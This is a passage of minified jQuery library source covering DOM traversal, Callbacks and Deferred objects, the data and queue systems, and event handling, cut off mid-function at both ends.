this.filter(function(){for(b=0;d>b;b++)if(n.contains(this,c[b]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=w.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.uniqueSort(f):f)},index:function(a){return a?"string"==typeof a?n.inArray(this[0],n(a)):n.inArray(a.jquery?a[0]:a,this):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.uniqueSort(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function F(a,b){do a=a[b];while(a&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return u(a,"parentNode")},parentsUntil:function(a,b,c){return u(a,"parentNode",c)},next:function(a){return F(a,"nextSibling")},prev:function(a){return F(a,"previousSibling")},nextAll:function(a){return u(a,"nextSibling")},prevAll:function(a){return u(a,"previousSibling")},nextUntil:function(a,b,c){return u(a,"nextSibling",c)},prevUntil:function(a,b,c){return u(a,"previousSibling",c)},siblings:function(a){return v((a.parentNode||{}).firstChild,a)},children:function(a){return v(a.firstChild)},contents:function(a){return n.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(E[a]||(e=n.uniqueSort(e)),D.test(a)&&(e=e.reverse())),this.pushStack(e)}});var G=/\S+/g;function H(a){var b={};return n.each(a.match(G)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?H(a):n.extend({},a);var b,c,d,e,f=[],g=[],h=-1,i=function(){for(e=a.once,d=b=!0;g.length;h=-1){c=g.shift();while(++h<f.length)f[h].apply(c[0],c[1])===!1&&a.stopOnFalse&&(h=f.length,c=!1)}a.memory||(c=!1),b=!1,e&&(f=c?[]:"")},j={add:function(){return f&&(c&&!b&&(h=f.length-1,g.push(c)),function d(b){n.each(b,function(b,c){n.isFunction(c)?a.unique&&j.has(c)||f.push(c):c&&c.length&&"string"!==n.type(c)&&d(c)})}(arguments),c&&!b&&i()),this},remove:function(){return n.each(arguments,function(a,b){var c;while((c=n.inArray(b,f,c))>-1)f.splice(c,1),h>=c&&h--}),this},has:function(a){return a?n.inArray(a,f)>-1:f.length>0},empty:function(){return f&&(f=[]),this},disable:function(){return e=g=[],f=c="",this},disabled:function(){return!f},lock:function(){return e=!0,c||j.disable(),this},locked:function(){return!!e},fireWith:function(a,c){return e||(c=c||[],c=[a,c.slice?c.slice():c],g.push(c),b||i()),this},fire:function(){return j.fireWith(this,arguments),this},fired:function(){return!!d}};return j},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().progress(c.notify).done(c.resolve).fail(c.reject):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=e.call(arguments),d=c.length,f=1!==d||a&&n.isFunction(a.promise)?d:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(d){b[a]=this,c[a]=arguments.length>1?e.call(arguments):d,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(d>1)for(i=new Array(d),j=new Array(d),k=new Array(d);d>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().progress(h(b,j,i)).done(h(b,k,c)).fail(g.reject):--f;return f||g.resolveWith(k,c),g.promise()}});var I;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(I.resolveWith(d,[n]),n.fn.triggerHandler&&(n(d).triggerHandler("ready"),n(d).off("ready"))))}});function J(){d.addEventListener?(d.removeEventListener("DOMContentLoaded",K),a.removeEventListener("load",K)):(d.detachEvent("onreadystatechange",K),a.detachEvent("onload",K))}function K(){(d.addEventListener||"load"===a.event.type||"complete"===d.readyState)&&(J(),n.ready())}n.ready.promise=function(b){if(!I)if(I=n.Deferred(),"complete"===d.readyState||"loading"!==d.readyState&&!d.documentElement.doScroll)a.setTimeout(n.ready);else if(d.addEventListener)d.addEventListener("DOMContentLoaded",K),a.addEventListener("load",K);else{d.attachEvent("onreadystatechange",K),a.attachEvent("onload",K);var c=!1;try{c=null==a.frameElement&&d.documentElement}catch(e){}c&&c.doScroll&&!function f(){if(!n.isReady){try{c.doScroll("left")}catch(b){return a.setTimeout(f,50)}J(),n.ready()}}()}return I.promise(b)},n.ready.promise();var L;for(L in n(l))break;l.ownFirst="0"===L,l.inlineBlockNeedsLayout=!1,n(function(){var a,b,c,e;c=d.getElementsByTagName("body")[0],c&&c.style&&(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="display:inline;margin:0;border:0;padding:1px;width:1px;zoom:1",l.inlineBlockNeedsLayout=a=3===b.offsetWidth,a&&(c.style.zoom=1)),c.removeChild(e))}),function(){var a=d.createElement("div");l.deleteExpando=!0;try{delete a.test}catch(b){l.deleteExpando=!1}a=null}();var M=function(a){var b=n.noData[(a.nodeName+" ").toLowerCase()],c=+a.nodeType||1;return 1!==c&&9!==c?!1:!b||b!==!0&&a.getAttribute("classid")===b},N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){if(void 0===c&&1===a.nodeType){var d="data-"+b.replace(O,"-$1").toLowerCase();if(c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}n.data(a,b,c)}else c=void 0;
3}return c}function Q(a){var b;for(b in a)if(("data"!==b||!n.isEmptyObject(a[b]))&&"toJSON"!==b)return!1;return!0}function R(a,b,d,e){if(M(a)){var f,g,h=n.expando,i=a.nodeType,j=i?n.cache:a,k=i?a[h]:a[h]&&h;if(k&&j[k]&&(e||j[k].data)||void 0!==d||"string"!=typeof b)return k||(k=i?a[h]=c.pop()||n.guid++:h),j[k]||(j[k]=i?{}:{toJSON:n.noop}),"object"!=typeof b&&"function"!=typeof b||(e?j[k]=n.extend(j[k],b):j[k].data=n.extend(j[k].data,b)),g=j[k],e||(g.data||(g.data={}),g=g.data),void 0!==d&&(g[n.camelCase(b)]=d),"string"==typeof b?(f=g[b],null==f&&(f=g[n.camelCase(b)])):f=g,f}}function S(a,b,c){if(M(a)){var d,e,f=a.nodeType,g=f?n.cache:a,h=f?a[n.expando]:n.expando;if(g[h]){if(b&&(d=c?g[h]:g[h].data)){n.isArray(b)?b=b.concat(n.map(b,n.camelCase)):b in d?b=[b]:(b=n.camelCase(b),b=b in d?[b]:b.split(" ")),e=b.length;while(e--)delete d[b[e]];if(c?!Q(d):!n.isEmptyObject(d))return}(c||(delete g[h].data,Q(g[h])))&&(f?n.cleanData([a],!0):l.deleteExpando||g!=g.window?delete g[h]:g[h]=void 0)}}}n.extend({cache:{},noData:{"applet ":!0,"embed ":!0,"object ":"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"},hasData:function(a){return a=a.nodeType?n.cache[a[n.expando]]:a[n.expando],!!a&&!Q(a)},data:function(a,b,c){return R(a,b,c)},removeData:function(a,b){return S(a,b)},_data:function(a,b,c){return R(a,b,c,!0)},_removeData:function(a,b){return S(a,b,!0)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=n.data(f),1===f.nodeType&&!n._data(f,"parsedAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));n._data(f,"parsedAttrs",!0)}return e}return"object"==typeof a?this.each(function(){n.data(this,a)}):arguments.length>1?this.each(function(){n.data(this,a,b)}):f?P(f,a,n.data(f,a)):void 0},removeData:function(a){return this.each(function(){n.removeData(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=n._data(a,b),c&&(!d||n.isArray(c)?d=n._data(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return n._data(a,c)||n._data(a,c,{empty:n.Callbacks("once memory").add(function(){n._removeData(a,b+"queue"),n._removeData(a,c)})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.length<c?n.queue(this[0],a):void 0===b?this:this.each(function(){var c=n.queue(this,a,b);n._queueHooks(this,a),"fx"===a&&"inprogress"!==c[0]&&n.dequeue(this,a)})},dequeue:function(a){return this.each(function(){n.dequeue(this,a)})},clearQueue:function(a){return this.queue(a||"fx",[])},promise:function(a,b){var c,d=1,e=n.Deferred(),f=this,g=this.length,h=function(){--d||e.resolveWith(f,[f])};"string"!=typeof a&&(b=a,a=void 0),a=a||"fx";while(g--)c=n._data(f[g],a+"queueHooks"),c&&c.empty&&(d++,c.empty.add(h));return h(),e.promise(b)}}),function(){var a;l.shrinkWrapBlocks=function(){if(null!=a)return a;a=!1;var b,c,e;return c=d.getElementsByTagName("body")[0],c&&c.style?(b=d.createElement("div"),e=d.createElement("div"),e.style.cssText="position:absolute;border:0;width:0;height:0;top:0;left:-9999px",c.appendChild(e).appendChild(b),"undefined"!=typeof b.style.zoom&&(b.style.cssText="-webkit-box-sizing:content-box;-moz-box-sizing:content-box;box-sizing:content-box;display:block;margin:0;border:0;padding:1px;width:1px;zoom:1",b.appendChild(d.createElement("div")).style.width="5px",a=3!==b.offsetWidth),c.removeChild(e),a):void 0}}();var T=/[+-]?(?:\d*\.|)\d+(?:[eE][+-]?\d+|)/.source,U=new RegExp("^(?:([+-])=|)("+T+")([a-z%]*)$","i"),V=["Top","Right","Bottom","Left"],W=function(a,b){return a=b||a,"none"===n.css(a,"display")||!n.contains(a.ownerDocument,a)};function X(a,b,c,d){var e,f=1,g=20,h=d?function(){return d.cur()}:function(){return n.css(a,b,"")},i=h(),j=c&&c[3]||(n.cssNumber[b]?"":"px"),k=(n.cssNumber[b]||"px"!==j&&+i)&&U.exec(n.css(a,b));if(k&&k[3]!==j){j=j||k[3],c=c||[],k=+i||1;do f=f||".5",k/=f,n.style(a,b,k+j);while(f!==(f=h()/i)&&1!==f&&--g)}return c&&(k=+k||+i||0,e=c[1]?k+(c[1]+1)*c[2]:+c[2],d&&(d.unit=j,d.start=k,d.end=e)),e}var Y=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)Y(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f},Z=/^(?:checkbox|radio)$/i,$=/<([\w:-]+)/,_=/^$|\/(?:java|ecma)script/i,aa=/^\s+/,ba="abbr|article|aside|audio|bdi|canvas|data|datalist|details|dialog|figcaption|figure|footer|header|hgroup|main|mark|meter|nav|output|picture|progress|section|summary|template|time|video";function ca(a){var b=ba.split("|"),c=a.createDocumentFragment();if(c.createElement)while(b.length)c.createElement(b.pop());return c}!function(){var a=d.createElement("div"),b=d.createDocumentFragment(),c=d.createElement("input");a.innerHTML=" <link/><table></table><a href='/a'>a</a><input type='checkbox'/>",l.leadingWhitespace=3===a.firstChild.nodeType,l.tbody=!a.getElementsByTagName("tbody").length,l.htmlSerialize=!!a.getElementsByTagName("link").length,l.html5Clone="<:nav></:nav>"!==d.createElement("nav").cloneNode(!0).outerHTML,c.type="checkbox",c.checked=!0,b.appendChild(c),l.appendChecked=c.checked,a.innerHTML="<textarea>x</textarea>",l.noCloneChecked=!!a.cloneNode(!0).lastChild.defaultValue,b.appendChild(a),c=d.createElement("input"),c.setAttribute("type","radio"),c.setAttribute("checked","checked"),c.setAttribute("name","t"),a.appendChild(c),l.checkClone=a.cloneNode(!0).cloneNode(!0).lastChild.checked,l.noCloneEvent=!!a.addEventListener,a[n.expando]=1,l.attributes=!a.getAttribute(n.expando)}();var da={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],area:[1,"<map>","</map>"],param:[1,"<object>","</object>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],_default:l.htmlSerialize?[0,"",""]:[1,"X<div>","</div>"]};da.optgroup=da.option,da.tbody=da.tfoot=da.colgroup=da.caption=da.thead,da.th=da.td;function ea(a,b){var c,d,e=0,f="undefined"!=typeof a.getElementsByTagName?a.getElementsByTagName(b||"*"):"undefined"!=typeof a.querySelectorAll?a.querySelectorAll(b||"*"):void 0;if(!f)for(f=[],c=a.childNodes||a;null!=(d=c[e]);e++)!b||n.nodeName(d,b)?f.push(d):n.merge(f,ea(d,b));return void 0===b||b&&n.nodeName(a,b)?n.merge([a],f):f}function fa(a,b){for(var c,d=0;null!=(c=a[d]);d++)n._data(c,"globalEval",!b||n._data(b[d],"globalEval"))}var ga=/<|&#?\w+;/,ha=/<tbody/i;function ia(a){Z.test(a.type)&&(a.defaultChecked=a.checked)}function ja(a,b,c,d,e){for(var f,g,h,i,j,k,m,o=a.length,p=ca(b),q=[],r=0;o>r;r++)if(g=a[r],g||0===g)if("object"===n.type(g))n.merge(q,g.nodeType?[g]:g);else if(ga.test(g)){i=i||p.appendChild(b.createElement("div")),j=($.exec(g)||["",""])[1].toLowerCase(),m=da[j]||da._default,i.innerHTML=m[1]+n.htmlPrefilter(g)+m[2],f=m[0];while(f--)i=i.lastChild;if(!l.leadingWhitespace&&aa.test(g)&&q.push(b.createTextNode(aa.exec(g)[0])),!l.tbody){g="table"!==j||ha.test(g)?"<table>"!==m[1]||ha.test(g)?0:i:i.firstChild,f=g&&g.childNodes.length;while(f--)n.nodeName(k=g.childNodes[f],"tbody")&&!k.childNodes.length&&g.removeChild(k)}n.merge(q,i.childNodes),i.textContent="";while(i.firstChild)i.removeChild(i.firstChild);i=p.lastChild}else q.push(b.createTextNode(g));i&&p.removeChild(i),l.appendChecked||n.grep(ea(q,"input"),ia),r=0;while(g=q[r++])if(d&&n.inArray(g,d)>-1)e&&e.push(g);else if(h=n.contains(g.ownerDocument,g),i=ea(p.appendChild(g),"script"),h&&fa(i),c){f=0;while(g=i[f++])_.test(g.type||"")&&c.push(g)}return i=null,p}!function(){var b,c,e=d.createElement("div");for(b in{submit:!0,change:!0,focusin:!0})c="on"+b,(l[b]=c in a)||(e.setAttribute(c,"t"),l[b]=e.attributes[c].expando===!1);e=null}();var ka=/^(?:input|select|textarea)$/i,la=/^key/,ma=/^(?:mouse|pointer|contextmenu|drag|drop)|click/,na=/^(?:focusinfocus|focusoutblur)$/,oa=/^([^.]*)(?:\.(.+)|)/;function pa(){return!0}function qa(){return!1}function ra(){try{return d.activeElement}catch(a){}}function sa(a,b,c,d,e,f){var g,h;if("object"==typeof b){"string"!=typeof c&&(d=d||c,c=void 0);for(h in b)sa(a,h,c,d,b[h],f);return a}if(null==d&&null==e?(e=c,d=c=void 0):null==e&&("string"==typeof c?(e=d,d=void 0):(e=d,d=c,c=void 0)),e===!1)e=qa;else if(!e)return a;return 1===f&&(g=e,e=function(a){return n().off(a),g.apply(this,arguments)},e.guid=g.guid||(g.guid=n.guid++)),a.each(function(){n.event.add(this,b,e,d,c)})}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n._data(a);if(r){c.handler&&(i=c,c=i.handler,e=i.selector),c.guid||(c.guid=n.guid++),(g=r.events)||(g=r.events={}),(k=r.handle)||(k=r.handle=function(a){return"undefined"==typeof n||a&&n.event.triggered===a.type?void 0:n.event.dispatch.apply(k.elem,arguments)},k.elem=a),b=(b||"").match(G)||[""],h=b.length;while(h--)f=oa.exec(b[h])||[],o=q=f[1],p=(f[2]||"").split(".").sort(),o&&(j=n.event.special[o]||{},o=(e?j.delegateType:j.bindType)||o,j=n.event.special[o]||{},l=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},i),(m=g[o])||(m=g[o]=[],m.delegateCount=0,j.setup&&j.setup.call(a,d,p,k)!==!1||(a.addEventListener?a.addEventListener(o,k,!1):a.attachEvent&&a.attachEvent("on"+o,k))),j.add&&(j.add.call(a,l),l.handler.guid||(l.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,l):m.push(l),n.event.global[o]=!0);a=null}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=n.hasData(a)&&n._data(a);if(r&&(k=r.events)){b=(b||"").match(G)||[""],j=b.length;while(j--)if(h=oa.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=k[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),i=f=m.length;while(f--)g=m[f],!e&&q!==g.origType||c&&c.guid!==g.guid||h&&!h.test(g.namespace)||d&&d!==g.selector&&("**"!==d||!g.selector)||(m.splice(f,1),g.selector&&m.delegateCount--,l.remove&&l.remove.call(a,g));i&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete k[o])}else for(o in k)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(k)&&(delete r.handle,n._removeData(a,"events"))}},trigger:function(b,c,e,f){var g,h,i,j,l,m,o,p=[e||d],q=k.call(b,"type")?b.type:b,r=k.call(b,"namespace")?b.namespace.split("."):[];if(i=m=e=e||d,3!==e.nodeType&&8!==e.nodeType&&!na.test(q+n.event.triggered)&&(q.indexOf(".")>-1&&(r=q.split("."),q=r.shift(),r.sort()),h=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=f?2:3,b.namespace=r.join("."),b.rnamespace=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=e),c=null==c?[b]:n.makeArray(c,[b]),l=n.event.special[q]||{},f||!l.trigger||l.trigger.apply(e,c)!==!1)){if(!f&&!l.noBubble&&!n.isWindow(e)){for(j=l.delegateType||q,na.test(j+q)||(i=i.parentNode);i;i=i.parentNode)p.push(i),m=i;m===(e.ownerDocument||d)&&p.push(m.defaultView||m.parentWindow||a)}o=0;while((i=p[o++])&&!b.isPropagationStopped())b.type=o>1?j:l.bindType||q,g=(n._data(i,"events")||{})[b.type]&&n._data(i,"handle"),g&&g.apply(i,c),g=h&&i[h],g&&g.apply&&M(i)&&(b.result=g.apply(i,c),b.result===!1&&b.preventDefault());if(b.type=q,!f&&!b.isDefaultPrevented()&&(!l._default||l._default.apply(p.pop(),c)===!1)&&M(e)&&h&&e[q]&&!n.isWindow(e)){m=e[h],m&&(e[h]=null),n.event.triggered=q;try{e[q]()}catch(s){}n.event.triggered=void 0,m&&(e[h]=m)}return b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,d,f,g,h=[],i=e.call(arguments),j=(n._data(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())a.rnamespace&&!a.rnamespace.test(g.namespace)||(a.handleObj=g,a.data=g.data,d=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==d&&(a.result=d)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&("click"!==a.type||isNaN(a.button)||a.button<1))for(;i!=this;i=i.parentNode||this)if(1===i.nodeType&&(i.disabled!==!0||"click"!==a.type)){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>-1:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h<b.length&&g.push({elem:this,handlers:b.slice(h)}),g},fix:function(a){if(a[n.expando])return a;var b,c,e,f=a.type,g=a,h=this.fixHooks[f];h||(this.fixHooks[f]=h=ma.test(f)?this.mouseHooks:la.test(f)?this.keyHooks:{}),e=h.props?this.props.concat(h.props):this.props,a=new n.Event(g),b=e.length;while(b--)c=e[b],a[c]=g[c];return a.target||(a.target=g.srcElement||d),3===a.target.nodeType&&(a.target=a.target.parentNode),a.metaKey=!!a.metaKey,h.filter?h.filter(a,g):a},props:"altKey bubbles cancelable ctrlKey currentTarget detail eventPhase metaKey relatedTarget shiftKey target timeStamp view which".split(" "),fixHooks:{},keyHooks:{props:"char charCode key keyCode".split(" "),filter:function(a,b){return null==a.which&&(a.which=null!=b.charCode?b.charCode:b.keyCode),a}},mouseHooks:{props:"button buttons clientX clientY fromElement offsetX offsetY pageX pageY screenX screenY toElement".split(" "),filter:function(a,b){var c,e,f,g=b.button,h=b.fromElement;return null==a.pageX&&null!=b.clientX&&(e=a.target.ownerDocument||d,f=e.documentElement,c=e.body,a.pageX=b.clientX+(f&&f.scrollLeft||c&&c.scrollLeft||0)-(f&&f.clientLeft||c&&c.clientLeft||0),a.pageY=b.clientY+(f&&f.scrollTop||c&&c.scrollTop||0)-(f&&f.clientTop||c&&c.clientTop||0)),!a.relatedTarget&&h&&(a.relatedTarget=h===a.target?b.toElement:h),a.which||void 0===g||(a.which=1&g?1:2&g?3:4&g?2:0),a}},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==ra()&&this.focus)try{return this.focus(),!1}catch(a){}},delegateType:"focusin"},blur:{trigger:function(){return this===ra()&&this.blur?(this.blur(),!1):void 0},delegateType:"focusout"},click:{trigger:function(){return n.nodeName(this,"input")&&"checkbox"===this.type&&this.click?(this.click(),!1):void 0},_default:function(a){return n.nodeName(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}},simulate:function(a,b,c){var d=n.extend(new n.Event,c,{type:a,isSimulated:!0});n.event.trigger(d,null,b),d.isDefaultPrevented()&&c.preventDefault()}},n.removeEvent=d.removeEventListener?function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)}:function(a,b,c){var d="on"+b;a.detachEvent&&("undefined"==typeof a[d]&&(a[d]=null),a.detachEvent(d,c))},n.Event=function(a,b){return this instanceof n.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?pa:qa):this.type=a,b&&n.extend(this,b),this.timeStamp=a&&a.timeStamp||n.now(),void(this[n.expando]=!0)):new n.Event(a,b)},n.Event.prototype={constructor:n.Event,isDefaultPrevented:qa,isPropagationStopped:qa,isImmediatePropagationStopped:qa,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=pa,a&&(a.preventDefault?a.preventDefault():a.returnValue=!1)},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=pa,a&&!this.isSimulated&&(a.stopPropagation&&a.stopPropagation(),a.cancelBubble=!0)},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=pa,a&&a.stopImmediatePropagation&&a.stopImmediatePropagation(),this.stopPropagation()}},n.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){n.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||n.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),l.submit||(n.event.special.submit={setup:function(){return n.nodeName(this,"form")?!1:void n.event.add(this,"click._submit keypress._submit",function(a){var b=a.target,c=n.nodeName(b,"input")||n.nodeName(b,"button")?n.prop(b,"form"):void 0;c&&!n._data(c,"submit")&&(n.event.add(c,"submit._submit",function(a){a._submitBubble=!0}),n._data(c,"submit",!0))})},postDispatch:function(a){a._submitBubble&&(delete a._submitBubble,this.parentNode&&!a.isTrigger&&n.event.simulate("submit",this.parentNode,a))},teardown:function(){return n.nodeName(this,"form")?!1:void n.event.remove(this,"._submit")}}),l.change||(n.event.special.change={setup:function(){return ka.test(this.nodeName)?("checkbox"!==this.type&&"radio"!==this.type||(n.event.add(this,"propertychange._change",function(a){"checked"===a.originalEvent.propertyName&&(this._justChanged=!0)}),n.event.add(this,"click._change",function(a){this._justChanged&&!a.isTrigger&&(this._justChanged=!1),n.event.simulate("change",this,a)})),!1):void n.event.add(this,"beforeactivate._change",function(a){var b=a.target;ka.test(b.nodeName)&&!n._data(b,"change")&&(n.event.add(b,"change._change",function(a){!this.parentNode||a.isSimulated||a.isTrigger||n.event.simulate("change",this.parentNode,a)}),n._data(b,"change",!0))})},handle:function(a){var b=a.target;return this!==b||a.isSimulated||a.isTrigger||"radio"!==b.type&&"checkbox"!==b.type?a.handleObj.handler.apply(this,arguments):void 0},teardown:function(){return n.event.remove(this,"._change"),!ka.test(this.nodeName)}}),l.focusin||n.each({focus:"focusin",blur:"focusout"},function(a,b){var c=function(a){n.event.simulate(b,a.target,n.event.fix(a))};n.event.special[b]={setup:function(){var d=this.ownerDocument||this,e=n._data(d,b);e||d.addEventListener(a,c,!0),n._data(d,b,(e||0)+1)},teardown:function(){var d=this.ownerDocument||this,e=n._data(d,b)-1;e?n._data(d,b,e):(d.removeEventListener(a,c,!0),n._removeData(d,b))}}}),n.fn.extend({on:function(a,b,c,d){return sa(this,a,b,c,d)},one:function(a,b,c,d){return sa(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,n(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=qa),this.each(function(){n.event.remove(this,a,c,b)})},trigger:function(a,b){return this.each(function(){n.event.trigger(a,b,this)})},triggerHandler:function(a,b){var c=this[0];return c?n.event.trigger(a,b,c,!0):void 0}});var ta=/ jQuery\d+="(?:null|\d+)"/g,ua=new RegExp("<(?:"+ba+")[\\s/>]","i"),va=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:-]+)[^>]*)\/>/gi,wa=/<script|<style|<link/i,xa=/checked\s*(?:[^=]|=\s*.checked.)/i,ya=/^true\/(.*)/,za=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g,Aa=ca(d),Ba=Aa.appendChild(d.createElement("div"));function Ca(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function Da(a){return a.type=(null!==n.find.attr(a,"type"))+"/"+a.type,a}function Ea(a){var b=ya.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Fa(a,b){if(1===b.nodeType&&n.hasData(a)){var c,d,e,f=n._data(a),g=n._data(b,f),h=f.events;if(h){delete g.handle,g.events={};for(c in h)for(d=0,e=h[c].length;e>d;d++)n.event.add(b,c,h[c][d])}g.data&&(g.data=n.extend({},g.data))}}function Ga(a,b){var c,d,e;if(1===b.nodeType){if(c=b.nodeName.toLowerCase(),!l.noCloneEvent&&b[n.expando]){e=n._data(b);for(d in 